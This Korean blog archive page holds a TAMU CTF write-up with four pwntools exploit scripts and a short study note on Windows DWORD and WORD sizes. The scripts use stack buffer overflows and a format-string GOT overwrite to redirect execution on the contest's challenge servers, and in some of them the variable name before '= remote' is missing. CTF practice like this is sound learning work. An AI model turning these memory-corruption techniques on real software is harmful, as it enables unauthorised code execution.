$bash

'2017/04'에 해당되는 글 2건

  1. TAMU CTF - pwnable(1~4)
  2. DWORD? WORD?

TAMU CTF - pwnable(1~4)

0x0400 : Wargame/0x0410 : CTF

pwn 1 


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
from time import *
 
context(arch='i386', os='linux')
= remote('pwn.ctf.tamu.edu'4322)
 
flag = 0xCA11AB1E
payload  = 'a'*0x1b
payload += p32(flag)
 
r.sendline(payload)
 
print r.recv(1024)
sleep(0.3)
 
 
cs


pwn 2

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
= remote("pwn.ctf.tamu.edu",4321)
elf = ELF("./pwn2")
 
flag = 0x0804854B
 
payload  = "A"*140
payload += p32(flag)
 
s.sendline(payload)
print s.recv(1024)
 
 
cs

pwn 3


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
from time import *
 
= remote("pwn.ctf.tamu.edu"4323)
= process('./pwn3')
 
exit_got = 0x804a01c
print_flag = 0x80485ab - 4
 
payload  = p32(exit_got)
payload += '%%%dx' % print_flag
payload += '%%%d$n' % 4
 
 
print s.recvuntil('Enter a word to be echoed:')
s.sendline(payload)
print s.recvuntil('This function has been deprecated')
 
flag = s.recv(1024)
print flag
 
# 3번은..그냥 (python ~~~ |cat --) | nc 로 해결.
# 익스 코드는 payload를 가지고 gdb 에서 검증.
 
cs

pwn 4

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
= remote("web.ctf.tamu.edu",4324)
#s.recvuntil("I require an input:")
 
sys = 0x80484d9 # <flag_func+14>
flag = 0x0804A028 # string meun
 
payload  = "A"*16
payload += p32(sys)
payload += p32(flag)
 
s.sendline(payload)
print s.recv(1024)
 
cs


'0x0400 : Wargame > 0x0410 : CTF' 카테고리의 다른 글

2017 Hust CTF write up  (0) 2017.05.28
defcon2016 - [rev]baby-re  (0) 2017.05.21
RCTF - [misc]intoU  (0) 2017.05.21
DEFCON_2017 - SmashMe  (0) 2017.05.08
Defcon 23 - babycmd  (0) 2017.01.12

DWORD? WORD?

0x0300 : Study/0x0307 : Reversing

dword ptr의 뜻이 전부터 궁금했는데.

결론은 word 2byte . Dword 4 byte

[] 적혀있는것은 포인터로 이해하면 되는데. 아마 이 개념은 원래 알고 있는 거긴한데


결론은 사이즈 표기? 라 이해해야되는건가... 그래서 좀더 검색 해서 정리해보려고 한다.


WinDef.h 에는 다음과 같이 Dword / word 가 정의 되어 있다.


typedef unsigned long       DWORD;
typedef unsigned short      WORD;


따라서 대부분 win32 기반하에선 DWORD는 4byte(32bit 기준)가 된다. 그럼 당연히 WORD는 2byte(16bit)이 된가고 생각하면 된다.

근데 여기서 또 궁금증이 생기는 것이 왜 32bit window에서 word의 size가 16bit이 될까 인데... 이는 하위 호환성이다.


intel 8086 processor 부터 이어지는 intel CPU Architecture의 하위 호환 문제 때매 컴파일러에서도  그냥 WORD를 16bit을 표현했다고 한다.


그 이외에도 VS에는 DWORD32 / 64 형을 지원 한다고 한다.


typedef unsigned int DWORD32, *PDWORD32;
typedef unsigned __int64 DWORD64, *PDWORD64;

DWORD32를 살펴보면 long대신에 int 가 쓰인다. 그럼 이게 좀 궁금해지는게 .. intel에서 하위 호환 문제를 해결 하기 위해서 규칙을 새웠는데 그걸 어기는것이 아닌가... 흠 잘 모르겠따..


출처 : http://wiki.kldp.org/wiki.php/32bitCodeTo64bit


'0x0300 : Study > 0x0307 : Reversing' 카테고리의 다른 글

Angr 설치  (0) 2017.05.21
linux remote ida debug  (0) 2017.05.08
Reversing _ 1 day(잠시중단)  (2) 2016.12.20
Anti Debugging  (0) 2016.11.30
CodeEnge_Basic L01~05  (0) 2016.10.04